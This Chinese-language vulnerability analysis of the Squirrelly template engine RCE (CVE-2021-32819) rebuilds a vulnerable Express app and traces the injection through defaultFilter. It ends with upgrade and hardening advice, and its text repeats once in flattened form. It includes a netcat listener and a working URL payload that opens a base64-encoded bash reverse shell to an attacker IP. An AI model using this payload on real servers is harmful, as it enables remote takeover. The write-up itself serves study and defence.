Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
字数 1248 2025-08-05 08:19:04

Squirrelly 模板引擎 RCE 漏洞 (CVE-2021-32819) 深入分析与防御指南

漏洞概述

Squirrelly 是一个轻量级 JavaScript 模板引擎,完整版 gzip 压缩后仅约 4KB,常与 ExpressJS 配合使用。2021年5月14日披露的 CVE-2021-32819 漏洞影响 SquirrellyJS 8.0.0 至 8.0.8 版本,可能导致从 XSS 到 RCE 的安全风险。

漏洞本质:Squirrelly 通过 Express 渲染 API 将模板数据与引擎配置选项混合,攻击者可通过请求查询覆盖全局变量 defaultConfig 中的 defaultFilter 属性,从而注入恶意代码。

漏洞复现

环境搭建

  1. 准备 Linux 环境
  2. 安装 Node.js 和 npm:
    sudo apt update
    sudo apt install nodejs npm
    
  3. 创建项目目录并安装依赖:
    mkdir CVE-2021-32819 && cd CVE-2021-32819
    npm install express
    npm install squirrelly
    

易受攻击的服务端代码

server.js:

const express = require('express')
const squirrelly = require('squirrelly')
const app = express()

app.set('views', __dirname)
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }))

app.get('/', (req, res) => {
  res.render('index.squirrelly', req.query)
})

var server = app.listen(3000, '0.0.0.0', function() {
  var host = server.address().address
  var port = server.address().port
  console.log("Listening on http://%s:%s", host, port)
})

模板文件

index.squirrelly:

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2021-32819</title>
  <h1>Test For CVE-2021-32819</h1>
</head>
<body>
  <h1></h1>
</body>
</html>

漏洞验证

  1. 攻击机开启监听:
    nc -lvp 2333
    
  2. 发送恶意请求(URL编码后的Payload):
    http://192.168.226.148:3000/?defaultFilter=e'));%20let%20require%20=%20global.require%20||%20global.process.mainModule.constructor._load;%20require('child_process').exec('echo%20YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64%20-d|bash');%20//
    
  3. 成功获取反弹Shell

漏洞分析

攻击流程

  1. 请求通过 Express 传递给 Squirrelly 的 renderFile 函数
  2. renderFile 调用 getConfig 处理配置:
    • 复制全局 defaultConfig 到临时对象
    • 用请求参数覆盖配置项(包括 defaultFilter
  3. compileToString 处理模板时,检查 env.defaultFilter
  4. defaultFilter 被设置时,执行以下危险代码:
    content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
    
  5. 攻击者通过控制 defaultFilter 注入恶意代码

关键函数调用链

renderFile → getConfig → tryHandleCache → handleCache → compile → compileToString → compileScope

漏洞触发点

compileScope 函数中:

if (type === 'i') {
  if (env.defaultFilter) {
    content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
  }
  // ...
}

攻击者通过控制 defaultFilter 可以注入任意 JavaScript 代码。

影响范围

  • SquirrellyJS 8.0.0 至 8.0.8 版本
  • GitHub 上 100 星以上的项目中,有 42 个项目使用了存在漏洞的 8.0.8 版本

防御措施

  1. 升级:使用 Squirrelly 8.0.8 以上版本
  2. 输入过滤
    • 对用户输入进行严格验证
    • 实现白名单机制控制允许的输入
  3. 权限控制
    • 降低运行进程的用户权限
    • 限制进程可访问的路径
  4. 配置加固
    • 避免将用户输入直接传递给模板配置
    • 固定重要配置项,防止被覆盖
  5. 命令执行限制
    • 对进程可执行的系统命令实施白名单控制

修复建议

  1. 检查项目中 Squirrelly 的版本
  2. 如果必须使用受影响版本,实施严格的输入验证
  3. 考虑替代模板引擎(如 EJS、Pug 等)
  4. 实施深度防御策略,不依赖单一安全措施

参考资源

Squirrelly 模板引擎 RCE 漏洞 (CVE-2021-32819) 深入分析与防御指南 漏洞概述 Squirrelly 是一个轻量级 JavaScript 模板引擎,完整版 gzip 压缩后仅约 4KB,常与 ExpressJS 配合使用。2021年5月14日披露的 CVE-2021-32819 漏洞影响 SquirrellyJS 8.0.0 至 8.0.8 版本,可能导致从 XSS 到 RCE 的安全风险。 漏洞本质 :Squirrelly 通过 Express 渲染 API 将模板数据与引擎配置选项混合,攻击者可通过请求查询覆盖全局变量 defaultConfig 中的 defaultFilter 属性,从而注入恶意代码。 漏洞复现 环境搭建 准备 Linux 环境 安装 Node.js 和 npm: 创建项目目录并安装依赖: 易受攻击的服务端代码 server.js : 模板文件 index.squirrelly : 漏洞验证 攻击机开启监听: 发送恶意请求(URL编码后的Payload): 成功获取反弹Shell 漏洞分析 攻击流程 请求通过 Express 传递给 Squirrelly 的 renderFile 函数 renderFile 调用 getConfig 处理配置: 复制全局 defaultConfig 到临时对象 用请求参数覆盖配置项(包括 defaultFilter ) compileToString 处理模板时,检查 env.defaultFilter 当 defaultFilter 被设置时,执行以下危险代码: 攻击者通过控制 defaultFilter 注入恶意代码 关键函数调用链 漏洞触发点 在 compileScope 函数中: 攻击者通过控制 defaultFilter 可以注入任意 JavaScript 代码。 影响范围 SquirrellyJS 8.0.0 至 8.0.8 版本 GitHub 上 100 星以上的项目中,有 42 个项目使用了存在漏洞的 8.0.8 版本 防御措施 升级 :使用 Squirrelly 8.0.8 以上版本 输入过滤 : 对用户输入进行严格验证 实现白名单机制控制允许的输入 权限控制 : 降低运行进程的用户权限 限制进程可访问的路径 配置加固 : 避免将用户输入直接传递给模板配置 固定重要配置项,防止被覆盖 命令执行限制 : 对进程可执行的系统命令实施白名单控制 修复建议 检查项目中 Squirrelly 的版本 如果必须使用受影响版本,实施严格的输入验证 考虑替代模板引擎(如 EJS、Pug 等) 实施深度防御策略,不依赖单一安全措施 参考资源 GitHub Security Advisory: GHSL-2021-023-squirrelly CVE-2021-32819 官方描述 Squirrelly 官方文档及更新日志